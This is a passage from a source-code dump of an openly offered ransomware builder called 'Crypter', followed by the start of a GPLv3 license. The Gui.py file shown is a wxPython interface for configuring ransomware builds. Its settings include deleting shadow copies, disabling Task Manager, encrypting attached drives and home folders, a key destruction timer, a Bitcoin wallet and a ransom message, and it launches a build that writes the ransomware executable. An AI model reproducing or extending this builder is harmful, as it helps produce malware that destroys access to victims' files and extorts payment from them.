def __set_as_primary_colour(self, obj): 514 | ''' 515 | @summary: Sets the objects foreground colour to the primary colour specified by the config 516 | ''' 517 | 518 | obj.SetForegroundColour(wx.Colour( 519 | self.__config["primary_font_colour"][0], 520 | self.__config["primary_font_colour"][1], 521 | self.__config["primary_font_colour"][2] 522 | ) 523 | ) 524 | -------------------------------------------------------------------------------- /CrypterBuilder/Gui.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: Provides GUI functionality 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import wx 8 | import datetime 9 | import time 10 | import json 11 | import os 12 | import subprocess 13 | from pubsub import pub 14 | 15 | # Import package modules 16 | from .BuilderGuiAbsBase import MainFrame 17 | from .Base import * 18 | from .BuilderThread import BuilderThread 19 | 20 | ############### 21 | ## GUI CLASS ## 22 | ############### 23 | class Gui(MainFrame): 24 | ''' 25 | @summary: Provides a GUI object 26 | ''' 27 | 28 | def __init__(self): 29 | ''' 30 | @summary: Constructor 31 | @param config_dict: The build configuration, if present 32 | @param load_config: Handle to a config loader method/object 33 | ''' 34 | self.language = DEFAULT_LANGUAGE 35 | self.__builder = None 36 | self.config_file_path = None 37 | 38 | # Init super - MainFrame 39 | MainFrame.__init__( self, parent=None ) 40 | self.console = Console(self.ConsoleTextCtrl) 41 | self.StatusBar.SetStatusText("Ready...") 42 | icon = wx.Icon() 43 | icon.CopyFromBitmap(wx.Bitmap(os.path.join(self.__get_resources_path(), "builder_logo.bmp"), wx.BITMAP_TYPE_ANY)) 44 | 45 | self.SetIcon(icon) 46 | 47 | # Update GUI Visuals 48 | self.update_gui_visuals() 49 | 50 | # Set initial event handlers 51 | self.set_events() 52 | 53 | 54 | def __get_resources_path(self): 55 | ''' 56 | Gets the path to the resources directory 57 | @return: Resources directory path 58 | ''' 59 | 60 | return os.path.join(os.path.dirname(__file__), "Resources") 61 | 62 | 63 | def update_gui_visuals(self): 64 | ''' 65 | @summary: Updates the GUI with any aesthetic changes following initialising. This 66 | inludes updating labels and other widgets 67 | ''' 68 | 69 | # Version 70 | self.TitleLabel.SetLabel(TITLE) 71 | self.SetTitle(TITLE) 72 | 73 | # Set Logo Image 74 | self.LogoBitmap.SetBitmap( 75 | wx.Bitmap( 76 | os.path.join(self.__get_resources_path(), "builder_logo.bmp") 77 | ) 78 | ) 79 | # Set debug to default level 80 | self.DebugLevelChoice.SetSelection( 81 | self.DebugLevelChoice.FindString( 82 | BUILDER_CONFIG_ITEMS["debug_level"]["default"] 83 | ) 84 | ) 85 | 86 | 87 | def update_config_values(self, config_dict): 88 | ''' 89 | @summary: Updates the GUI field values with those in the config_dict. Sets to 90 | empty string if the item is not in the config dict 91 | @param config_dict: The config dict loaded from the build config file, if any 92 | ''' 93 | 94 | # Parse values 95 | # Builder Language 96 | self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) 97 | # Debug Level 98 | if "debug_level" in config_dict: 99 | self.DebugLevelChoice.SetSelection( 100 | self.DebugLevelChoice.FindString(config_dict["debug_level"]) 101 | ) 102 | else: 103 | self.DebugLevelChoice.SetSelection(0) 104 | # PyInstaller AES Key 105 | if "pyinstaller_aes_key" in config_dict: 106 | self.PyInstallerAesKeyTextCtrl.SetValue(config_dict["pyinstaller_aes_key"].upper()) 107 | else: 108 | self.PyInstallerAesKeyTextCtrl.SetValue("") 109 | # File Icon 110 | if "icon_file" in config_dict: 111 | self.IconFilePicker.SetPath(config_dict["icon_file"]) 112 | else: 113 | self.IconFilePicker.SetPath("") 114 | # UPX Packer dir 115 | if "upx_dir" in config_dict: 116 | self.UpxDirPicker.SetPath(config_dict["upx_dir"]) 117 | else: 118 | self.UpxDirPicker.SetPath("") 119 | # Open GUI On Login 120 | if "open_gui_on_login" in config_dict: 121 | self.OpenGuiOnLoginCheckbox.SetValue(config_dict["open_gui_on_login"]) 122 | else: 123 | self.OpenGuiOnLoginCheckbox.SetValue(BUILDER_CONFIG_ITEMS["open_gui_on_login"]["default"]) 124 | # Time Delay 125 | if "time_delay" in config_dict: 126 | self.TimeDelayTextCtrl.SetValue(config_dict["time_delay"]) 127 | else: 128 | self.TimeDelayTextCtrl.SetValue("") 129 | # Delete Shadow Copies 130 | if "delete_shadow_copies" in config_dict: 131 | self.DeleteShadowCopiesCheckbox.SetValue(config_dict["delete_shadow_copies"]) 132 | else: 133 | self.DeleteShadowCopiesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["delete_shadow_copies"]["default"]) 134 | # Disable Task Manager 135 | if "disable_task_manager" in config_dict: 136 | self.DisableTaskManagerCheckbox.SetValue(config_dict["disable_task_manager"]) 137 | else: 138 | self.DisableTaskManagerCheckbox.SetValue(BUILDER_CONFIG_ITEMS["disable_task_manager"]["default"]) 139 | # GUI Title 140 | if "gui_title" in config_dict: 141 | self.GuiTitleTextCtrl.SetValue(config_dict["gui_title"]) 142 | else: 143 | self.GuiTitleTextCtrl.SetValue("") 144 | # Key Destruction time 145 | if "key_destruction_time" in config_dict: 146 | self.KeyDestructionTimeTextCtrl.SetValue(config_dict["key_destruction_time"]) 147 | else: 148 | self.KeyDestructionTimeTextCtrl.SetValue("") 149 | # Wallet Address 150 | if "wallet_address" in config_dict: 151 | self.WalletAddressTextCtrl.SetValue(config_dict["wallet_address"]) 152 | else: 153 | self.WalletAddressTextCtrl.SetValue("") 154 | # Bitcoin Fee 155 | if "bitcoin_fee" in config_dict: 156 | self.BitcoinFeeTextCtrl.SetValue(config_dict["bitcoin_fee"]) 157 | else: 158 | self.BitcoinFeeTextCtrl.SetValue("") 159 | # Encrypt Attached Drives 160 | if "encrypt_attached_drives" in config_dict: 161 | self.EncryptAttachedDrivesCheckbox.SetValue(config_dict["encrypt_attached_drives"]) 162 | else: 163 | self.EncryptAttachedDrivesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_attached_drives"]["default"]) 164 | # Encrypt User Home 165 | if "encrypt_user_home" in config_dict: 166 | self.EncryptUserHomeCheckbox.SetValue(config_dict["encrypt_user_home"]) 167 | else: 168 | self.EncryptUserHomeCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_user_home"]["default"]) 169 | # Max file size to encrypt 170 | if "max_file_size_to_encrypt" in config_dict: 171 | self.MaxFileSizeTextCtrl.SetValue(config_dict["max_file_size_to_encrypt"]) 172 | else: 173 | self.MaxFileSizeTextCtrl.SetValue("") 174 | # Filetypes to encrypt 175 | if "filetypes_to_encrypt" in config_dict: 176 | filetypes = ",".join(config_dict["filetypes_to_encrypt"]) 177 | self.FiletypesToEncryptTextCtrl.SetValue(filetypes) 178 | else: 179 | self.FiletypesToEncryptTextCtrl.SetValue("") 180 | # Encrypted File Extension 181 | if "encrypted_file_extension" in config_dict: 182 | self.EncryptedFileExtensionTextCtrl.SetValue(config_dict["encrypted_file_extension"]) 183 | else: 184 | self.EncryptedFileExtensionTextCtrl.SetValue("") 185 | # Make GUI Resizeable 186 | if "make_gui_resizeable" in config_dict: 187 | self.MakeGuiResizeableCheckbox.SetValue(config_dict["make_gui_resizeable"]) 188 | else: 189 | self.MakeGuiResizeableCheckbox.SetValue(BUILDER_CONFIG_ITEMS["make_gui_resizeable"]["default"]) 190 | # Always on Top 191 | if "always_on_top" in config_dict: 192 | self.AlwaysOnTopCheckbox.SetValue(config_dict["always_on_top"]) 193 | else: 194 | self.AlwaysOnTopCheckbox.SetValue(BUILDER_CONFIG_ITEMS["always_on_top"]["default"]) 195 | if "background_colour" in config_dict: 196 | self.BackgroundColourPicker.SetColour(wx.Colour( 197 | config_dict["background_colour"][0], 198 | config_dict["background_colour"][1], 199 | config_dict["background_colour"][2] 200 | ) 201 | ) 202 | if "heading_font_colour" in config_dict: 203 | self.HeadingFontColourPicker.SetColour(wx.Colour( 204 | config_dict["heading_font_colour"][0], 205 | config_dict["heading_font_colour"][1], 206 | config_dict["heading_font_colour"][2] 207 | ) 208 | ) 209 | if "primary_font_colour" in config_dict: 210 | self.PrimaryFontColourPicker.SetColour(wx.Colour( 211 | config_dict["primary_font_colour"][0], 212 | config_dict["primary_font_colour"][1], 213 | config_dict["primary_font_colour"][2] 214 | ) 215 | ) 216 | if "secondary_font_colour" in config_dict: 217 | self.SecondaryFontColourPicker.SetColour(wx.Colour( 218 | config_dict["secondary_font_colour"][0], 219 | config_dict["secondary_font_colour"][1], 220 | config_dict["secondary_font_colour"][2] 221 | ) 222 | ) 223 | # Ransom Message 224 | if "ransom_message" in config_dict: 225 | self.RansomMessageTextCtrl.SetValue(config_dict["ransom_message"]) 226 | else: 227 | self.RansomMessageTextCtrl.SetValue("") 228 | 229 | 230 | def __save_config(self, event): 231 | ''' 232 | @summary: Saves the configuration/user input data to the configuration file 233 | ''' 234 | # If not saved, used currently loaded config file path 235 | if self.SaveFilePicker.GetPath(): 236 | self.config_file_path = self.SaveFilePicker.GetPath() 237 | 238 | # Get data from form 239 | user_input_dict = self.__get_input_data() 240 | 241 | # Parse filetypes to encrypt 242 | # Remove any trailing and leading spaces, dots 243 | user_input_dict["filetypes_to_encrypt"] = user_input_dict["filetypes_to_encrypt"].split(",") 244 | for index in range(len(user_input_dict["filetypes_to_encrypt"])): 245 | user_input_dict["filetypes_to_encrypt"][index] = user_input_dict["filetypes_to_encrypt"][index].strip().strip(".") 246 | 247 | # Parse encrypted file extension 248 | user_input_dict["encrypted_file_extension"] = user_input_dict["encrypted_file_extension"].strip(".") 249 | 250 | # Try to write the config to file 251 | try: 252 | with open(self.config_file_path, "w") as config_file_handle: 253 | json.dump(user_input_dict, config_file_handle, indent=6) 254 | self.console.log(msg="Build configuration successfully saved to file %s" 255 | % self.config_file_path) 256 | self.StatusBar.SetStatusText("Config Saved To %s" % self.config_file_path) 257 | self.__build_config_file = self.config_file_path 258 | self.__update_loaded_config_file() 259 | except Exception as ex: 260 | self.console.log(msg="The configuration could not be saved to %s: %s" 261 | % (self.config_file_path, ex), 262 | ccode=ERROR_CANNOT_WRITE 263 | ) 264 | self.StatusBar.SetStatusText("Error saving configuration file %s" % self.config_file_path) 265 | self.config_file_path = None 266 | 267 | 268 | 269 | def __load_config(self, event): 270 | ''' 271 | @summary: Loads builder config from file and updates the form values 272 | @param self.config_file_path: The path of the config file to load 273 | ''' 274 | config_dict = {} 275 | self.config_file_path = self.LoadFilePicker.GetPath() 276 | self.__reset_label_warnings() 277 | 278 | 279 | # Try to load config file and update the GUI 280 | try: 281 | with open(self.config_file_path, "r") as config_file_handle: 282 | config_dict = json.load(config_file_handle) 283 | self.console.log(msg="Build configuration successfully loaded from %s" 284 | % self.config_file_path) 285 | self.StatusBar.SetStatusText("Config Loaded From %s" % self.config_file_path) 286 | self.__build_config_file = self.config_file_path 287 | self.__update_loaded_config_file() 288 | except Exception as ex: 289 | self.console.log(msg="The specified configuration file at %s could not be loaded: %s" 290 | % (self.config_file_path, ex), 291 | ccode=ERROR_INVALID_CONFIG_FILE 292 | ) 293 | self.StatusBar.SetStatusText("Error loading configuration file %s" % self.config_file_path) 294 | self.config_file_path = None 295 | 296 | # Update the GUI 297 | self.update_config_values(config_dict) 298 | 299 | return config_dict 300 | 301 | 302 | def __update_loaded_config_file(self): 303 | ''' 304 | @summary: Updates the value of the "Loaded Config" 305 | ''' 306 | 307 | # Truncate path if too long 308 | if len(self.__build_config_file) >= 30: 309 | formatted_path = "..." + self.__build_config_file[-27:] 310 | else: 311 | formatted_path = self.__build_config_file 312 | 313 | self.CurrentConfigFile.SetLabel(formatted_path) 314 | self.HeaderPanel.Layout() 315 | 316 | 317 | def __open_containing_folder(self, event): 318 | ''' 319 | @summary: Opens explorer in the "bin" directory where the Crypter binary is written 320 | ''' 321 | 322 | subprocess.Popen(r'explorer ".\bin"') 323 | 324 | 325 | def set_events(self): 326 | ''' 327 | @summary: Set GUI events for the various controls 328 | ''' 329 | 330 | # Catch Language choice changes 331 | self.Bind(wx.EVT_CHOICE, self.update_language, self.BuilderLanguageChoice) 332 | 333 | # Catch config file load and save 334 | self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__load_config, self.LoadFilePicker) 335 | self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__save_config, self.SaveFilePicker) 336 | 337 | # BUILD button 338 | self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton) 339 | 340 | # Mainframe close 341 | self.Bind(wx.EVT_CLOSE, self.__close_builder, self) 342 | 343 | # Disable Open Containing Folder Button and bind event 344 | self.OpenContainingFolderButton.Disable() 345 | self.Bind(wx.EVT_BUTTON, self.__open_containing_folder, self.OpenContainingFolderButton) 346 | 347 | 348 | def __close_builder(self, event): 349 | ''' 350 | @summary: Method to catch close events and close the builder gracefully 351 | ''' 352 | 353 | # Stop builder and exit 354 | self.__stop_build(None) 355 | self.Destroy() 356 | 357 | 358 | def update_language(self, event, language=None): 359 | ''' 360 | @summary: Updates the Builder GUI language to the selected choice 361 | @param language: The language to change the form to. This is only provided when 362 | called directly, and not through a wx Event 363 | @todo: Finish when support for multiple languages has been enabled for the Builder 364 | ''' 365 | 366 | if not event: 367 | if language == "English": 368 | self.language = "English" 369 | #print("Changing language to English") 370 | 371 | 372 | def __update_progress(self, msg): 373 | ''' 374 | @summary: Updates the GUI with the build progress and status 375 | ''' 376 | 377 | # Log output message to the Console 378 | self.console.log(debug_level=msg["debug_level"], 379 | _class=msg["_class"], 380 | msg=msg["msg"], 381 | ccode=msg["ccode"], 382 | timestamp=msg["timestamp"]) 383 | 384 | # CHECK FOR ERRORS 385 | # If there was a validation error, highlight culprit field label 386 | if msg["ccode"] == ERROR_INVALID_DATA: 387 | # Set input field label FG to red 388 | label_object_name = BUILDER_CONFIG_ITEMS[msg["invalid_input_field"]]["label_object_name"] 389 | self.__set_label_colour(label_object_name, colour="red") 390 | 391 | # If build is not in progress, Reset BUILD Button and set outcome message 392 | if ( 393 | (self.__builder and not self.__builder.is_in_progress()) and 394 | (self.__builder.finished_with_error() or self.__builder.finished_with_success() or self.__builder.finished_with_stop()) 395 | ): 396 | # Set final output message and destroy the thread 397 | if self.__builder.finished_with_error(): 398 | self.console.log(msg="Build finished with error") 399 | self.StatusBar.SetStatusText("Build Failed...") 400 | elif self.__builder.finished_with_success(): 401 | self.console.log(msg="Build successful") 402 | self.console.log(msg="Crypter exe written to '%s'" % self.__builder.get_exe_location()) 403 | self.StatusBar.SetStatusText("Build Successful...") 404 | # Enable "Open Containing Folder" Button 405 | self.OpenContainingFolderButton.Enable() 406 | elif self.__builder.finished_with_stop(): 407 | self.console.log(msg="Build terminated by user") 408 | self.StatusBar.SetStatusText("Build Terminated...") 409 | self.BuildButton.SetLabel("BUILD") 410 | self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton) 411 | 412 | # Update gauge to completion 413 | for percentage in range(0, 150, 50): 414 | self.BuildProgressGauge.SetValue(percentage) 415 | 416 | 417 | def __set_label_colour(self, label_object_name, colour="red"): 418 | ''' 419 | @summary: Sets the specified label text colour and refreshes the object 420 | ''' 421 | 422 | # Set colour string 423 | if colour == "red": 424 | colour_object = "wx.Colour (255,0,0)" 425 | elif colour == "default": 426 | colour_object = "wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWTEXT )" 427 | 428 | # Change foreground colour 429 | exec("self.%s.SetForegroundColour( %s )" % 430 | (label_object_name, colour_object) 431 | ) 432 | # Refresh object appearance 433 | exec("self.%s.Hide()" % label_object_name) 434 | exec("self.%s.Show()" % label_object_name) 435 | 436 | 437 | def __stop_build(self, event): 438 | ''' 439 | @summary: Method to terminate the build process 440 | ''' 441 | 442 | if self.__builder and self.__builder.is_in_progress(): 443 | self.__builder.stop() 444 | 445 | 446 | def __get_input_data(self): 447 | ''' 448 | @summary: Retrieves and returns the user's input data from the GUI form 449 | @return: input data as a dictionary 450 | ''' 451 | 452 | user_input_dict = OrderedDict() 453 | # Builder Language 454 | user_input_dict["builder_language"] = self.BuilderLanguageChoice.GetString( 455 | self.BuilderLanguageChoice.GetSelection() 456 | ) 457 | # PyInstaller AES Key 458 | user_input_dict["pyinstaller_aes_key"] = self.PyInstallerAesKeyTextCtrl.GetValue() 459 | # Icon FIle 460 | user_input_dict["icon_file"] = self.IconFilePicker.GetPath() 461 | # Open GUI On Login 462 | user_input_dict["open_gui_on_login"] = self.OpenGuiOnLoginCheckbox.IsChecked() 463 | # Time Delay 464 | user_input_dict["time_delay"] = self.TimeDelayTextCtrl.GetValue() 465 | # GUI Title 466 | user_input_dict["gui_title"] = self.GuiTitleTextCtrl.GetValue() 467 | # UPX Packer Dir 468 | user_input_dict["upx_dir"] = self.UpxDirPicker.GetPath() 469 | # Delete Shadow Copies 470 | user_input_dict["delete_shadow_copies"] = self.DeleteShadowCopiesCheckbox.IsChecked() 471 | # Disable Task Manager 472 | user_input_dict["disable_task_manager"] = self.DisableTaskManagerCheckbox.IsChecked() 473 | # Key Destruction Time 474 | user_input_dict["key_destruction_time"] = self.KeyDestructionTimeTextCtrl.GetValue() 475 | # Wallet Address 476 | user_input_dict["wallet_address"] = self.WalletAddressTextCtrl.GetValue() 477 | # Bitcoin Fee 478 | user_input_dict["bitcoin_fee"] = self.BitcoinFeeTextCtrl.GetValue() 479 | # Encrypt Attached Drives 480 | user_input_dict["encrypt_attached_drives"] = self.EncryptAttachedDrivesCheckbox.IsChecked() 481 | # Encrypt User Home 482 | user_input_dict["encrypt_user_home"] = self.EncryptUserHomeCheckbox.IsChecked() 483 | # Max file size to encrypt 484 | user_input_dict["max_file_size_to_encrypt"] = self.MaxFileSizeTextCtrl.GetValue() 485 | # Filetypes to encrypt 486 | user_input_dict["filetypes_to_encrypt"] = self.FiletypesToEncryptTextCtrl.GetValue() 487 | # Encrypted File Extension 488 | user_input_dict["encrypted_file_extension"] = self.EncryptedFileExtensionTextCtrl.GetValue() 489 | # GUI Resizeable 490 | user_input_dict["make_gui_resizeable"] = self.MakeGuiResizeableCheckbox.IsChecked() 491 | # Always On Top 492 | user_input_dict["always_on_top"] = self.AlwaysOnTopCheckbox.IsChecked() 493 | # Background Colour 494 | user_input_dict["background_colour"] = self.BackgroundColourPicker.GetColour().Get() 495 | # Heading Font Colour 496 | user_input_dict["heading_font_colour"] = self.HeadingFontColourPicker.GetColour().Get() 497 | # Primary Font Colour 498 | user_input_dict["primary_font_colour"] = self.PrimaryFontColourPicker.GetColour().Get() 499 | # Secondary Font Colour 500 | user_input_dict["secondary_font_colour"] = self.SecondaryFontColourPicker.GetColour().Get() 501 | # Ransom Message 502 | user_input_dict["ransom_message"] = self.RansomMessageTextCtrl.GetValue() 503 | # Debug Level 504 | user_input_dict["debug_level"] = self.DebugLevelChoice.GetString( 505 | self.DebugLevelChoice.GetSelection() 506 | ) 507 | 508 | return user_input_dict 509 | 510 | 511 | def __reset_label_warnings(self): 512 | ''' 513 | @summary: Reset any red label warnings back to their default 514 | ''' 515 | 516 | # Reset all labels to standard foreground colour 517 | for input_field in BUILDER_CONFIG_ITEMS: 518 | if "label_object_name" in BUILDER_CONFIG_ITEMS[input_field]: 519 | label_object_name = BUILDER_CONFIG_ITEMS[input_field]["label_object_name"] 520 | self.__set_label_colour(label_object_name, colour="default") 521 | 522 | 523 | def __start_build(self, event): 524 | ''' 525 | @summary: Launches the validate and build processes 526 | ''' 527 | # Set progress gauge to zero and start progress pulse 528 | self.BuildProgressGauge.SetValue(0) 529 | self.BuildProgressGauge.Pulse() 530 | self.StatusBar.SetStatusText("Running Build...") 531 | self.__reset_label_warnings() 532 | 533 | user_input_dict = self.__get_input_data() 534 | 535 | 536 | # Clear the Console and setup debug 537 | self.console.clear() 538 | self.OpenContainingFolderButton.Disable() 539 | self.Bind(wx.EVT_BUTTON, self.__stop_build, self.BuildButton) 540 | self.BuildButton.SetLabel("STOP") 541 | self.console.log(msg="Build Launched") 542 | self.console.log(msg="DEBUG Level: %s" % user_input_dict["debug_level"]) 543 | self.console.set_debug_level(user_input_dict["debug_level"]) 544 | 545 | 546 | # Create listeners and Launch the Build thread 547 | pub.subscribe(self.__update_progress, "update") 548 | self.__builder = BuilderThread(user_input_dict) 549 | 550 | 551 | 552 | ################### 553 | ## CONSOLE CLASS ## 554 | ################### 555 | class Console(): 556 | ''' 557 | @summary: Provides an interface for the GUI Console window 558 | ''' 559 | 560 | def __init__(self, console): 561 | ''' 562 | @summary: Constructor 563 | @param console: Handle to the wxPython console TextCtrl 564 | ''' 565 | self.__console_box = console 566 | self.__debug_level = "0 - Minimal" 567 | 568 | 569 | def log(self, debug_level=0, _class=None, msg=None, ccode=0, timestamp=True): 570 | ''' 571 | @summary: Logs output to the Console 572 | @param debug_level: The debug level of the message 573 | @param _class: The class that is performing the log 574 | @param msg: The message to log to the Console Text screen 575 | ''' 576 | to_log = "" 577 | 578 | # Add timestamp 579 | if timestamp: 580 | to_log += "[%s]: " % self.__get_timestamp() 581 | 582 | # Add status message 583 | if ccode: 584 | to_log += "(ERROR): " 585 | 586 | # Add class 587 | if _class: 588 | to_log += "%s: " % _class 589 | 590 | # Add message 591 | to_log += "%s" % msg 592 | 593 | # Add the message to the Console box 594 | if msg and debug_level <= int(self.__debug_level[0]): 595 | self.__console_box.AppendText(to_log + "\n") 596 | 597 | 598 | def clear(self): 599 | ''' 600 | @summary: Clears the Console output screen 601 | ''' 602 | 603 | self.__console_box.Clear() 604 | 605 | 606 | def __get_timestamp(self): 607 | ''' 608 | @summary: Return timestamp string 609 | ''' 610 | 611 | current_time = datetime.datetime.now() 612 | time_output = "%s-%s-%s %s:%s:%s" % ( 613 | current_time.year, 614 | current_time.month if current_time.month >= 10 else "0%s" % current_time.month, 615 | current_time.day if current_time.day >= 10 else "0%s" % current_time.day, 616 | current_time.hour if current_time.hour >= 10 else "0%s" % current_time.hour, 617 | current_time.minute if current_time.minute >= 10 else "0%s" % current_time.minute, 618 | current_time.second if current_time.second >= 10 else "0%s" % current_time.second 619 | ) 620 | 621 | return time_output 622 | 623 | 624 | def set_debug_level(self, level): 625 | ''' 626 | @summary: Sets the console logging debug level. Messages below the debug level 627 | will be ignored, and won't be logged to the console. 628 | @param level: The debug level to set to console to. Should be one of the following: 629 | "0 - Minimal" 630 | "1 - Low" 631 | "2 - Medium" 632 | "3 - High" 633 | ''' 634 | 635 | self.__debug_level = level 636 | 637 | 638 | 639 | 640 | 641 | 642 | 643 | 644 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | 